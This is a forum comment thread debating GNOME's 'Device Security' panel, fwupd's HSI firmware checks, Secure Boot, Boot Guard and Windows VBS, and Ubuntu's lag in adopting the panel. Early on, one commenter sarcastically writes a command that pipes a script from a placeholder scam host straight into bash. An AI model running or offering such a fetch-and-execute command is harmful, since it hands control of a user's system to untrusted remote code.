Ubuntu Isn't Yet Onboard With GNOME's "Device Security" Screen

[tachi]

not everyone goes as far as installing SELinux

True, because it is already enabled by default on Fedora, while Debian, Ubuntu and SUSE ship AppArmor, again, by default.

[Avamander]

"You want me to run curl -s http://definitely.not/a_scam.sh | bash? GNOME says my system is secure, so it must be OK"

- Probably you

Whataboutism at its finest. Software distribution isn't something fwupd should be fixing, don't you think?

Exactly. This is so called security is a newspeak-like perversion of language. The more ``secure'' the system the less able are you to actually make sure it is. Especially on a laptop it's infuriating when you can't even swap out the WiFi card. Because.. that would prevent ME/firmware from snooping on your traffic. For your safety, of course.

Which vendor markets WiFi OEM locks as "security"? Secondly, Intel ME or AMD PSP don't care about your WiFi card. Thirdly, nothing stops a fully-functional open-source implementation from providing the same functionality that Gnome's device security screen checks. Such an implementation would certainly be more transparent, but well, transparency very inherently is not security. As an example, enabling IOMMU with closed firmware very likely does make the system more secure against specific DMA attacks, it doesn't make the system less transparent (and open firmware that doesn't, isn't secure in this case).

You probably aren't wrong but I am going to assume no-one in these forums is ever going to experience a UEFI attack. There are far more security issues around that needs fixing first than this almost theoretical nonsense.

Kind of verging on the really dumb stuff like Microsoft SecureBoot when the rest of the OS is just a security mess. Most people (including Linux users) don't even use encrypted disks rendering almost all of this stuff redundant. An attacker can just remove the disk and do what they want with it.

The principle of not letting perfect be the enemy of good really applies here. Neither does using one feature mean that we can't improve other things at the same time. Not having FDE doesn't mean we can't utilise the benefits of Intel CET for example. Making first steps towards being able to personally verify you've booted Linux and only Linux isn't a negative thing. Being able to trivially virtualise browser instances would be amazing on Linux, but we're not there.

This type of feet-dragging is holding the entire Linux ecosystem back for no good reason.

[erniv2]

Reminds me of how, last I heard, Windows 11 only allows self-built PCs to disable Virtualization Based Security, meaning pre-built PCs are at a permanent disadvantage if your goal is maximum performance.

1. You can disable the VBS in the Windows Security settings.
2. Any Windows 11 Prebuild PC does have a MBEC capable CPU so you have no performance loss, thats what the shiny stickers are for OEM -> Microsoft -> Windows 11 Sticker yay.

[hughsie]

Can you find a more reliable / non-biased source?

Sure, I've been working on this stuff for over five years. I'm not going to, as I think it's probably a waste of my time. If you don't like the panel, or the idea, or the implementation -- just don't use the panel. Just ignore it, it's not going to stop you doing anything you want to do.

[toxic]

Well, it is indeed unhelpful and confusing. What those levels even mean? Secure from what exactly? Did they also publish a threat model they evaluate device "security" to? I would say that's not Device Security feature, that's Device Security theater.

[CKing123]

Ahh, yes. Let's encourage people to see it as virutous that your OEM-assembled system (Boot Guard wasn't even available for self-assembled PCs last I checked) has the "feature" that burns extra signature checks into one-time programmable memory in the PCH, permanently ruling out the possibility of BIOS modding and/or Coreboot-y things.

Reminds me of how, last I heard, Windows 11 only allows self-built PCs to disable Virtualization Based Security, meaning pre-built PCs are at a permanent disadvantage if your goal is maximum performance.

Windows 11 doesn’t prevent you from disabling VBS. You can go to Core Integrity and disable it even on prebuilt

[patrakov]

Fwupd's HSI is not a general security score, it only refers to the platform, as in the CPU, Mother Board, BIOS. It's of course your responsibility to take steps to be secure at other levels. The example you mention is hence irrelevant in this discussion. Note that other obvious security concerns, like SELinux status, root login, are omitted. Fwupd only concerns itself with firmware.

Correct. So there is simply a TODO item: present these non-fwupd security factors conveniently grouped together somewhere in GNOME control center.

[kpedersen]

https://www.microsoft.com/security/b...ss-of-threats/

That whitepaper is just Microsoft trying to justify their recent Secure Boot (and convenient vendor lockin) successor.

Can you find a more reliable / non-biased source? I'm not being confrontational, I personally can't. Best I can find is:

https://link.springer.com/article/10...46411619080224

And much of this just falls back on closed hardware makes it difficult to protect any further up the stack.

[yump]

We have all this already in https://github.com/fwupd/fwupd/blob/...-common.c#L369 -- but Ubuntu will need to update to the latest fwupd release in time for the actual GNOME release.

Some of these are still leaving me with, "Yes, but what does that mean, actually?" feeling I get reading the descriptions of some BIOS options. Like, I've read a few of Matthew Garrett's blog posts, and I'm familiar with the basic concept of measuring things into PCRs and sealing secrets with them, but I don't know what TPM reconstruction is, and the description (which is exactly the same as TPM_EMPTY_PCR) doesn't make it any clearer.

It seems like the full detailed documentation of these is here: https://github.com/fwupd/fwupd/blob/...i.Tpm.EmptyPcr. Maybe there's a way for the UI to link there?

P.S. Why is suspend-to-idle supposedly any better than proper S3 suspend-to-RAM? Either way, if the contents of DRAM are unencrypted, an attacker who can remove DIMMs will probably be able to read a lot of your RAM.

[hughsie]

no-one in these forums is ever going to experience a UEFI attack.

https://www.microsoft.com/security/blog/2021/03/30/new-security-signals-study-shows-firmware-attacks-on-the-rise-heres-how-microsoft-is-working-to-help-eliminate-this-entire-class-of-threats/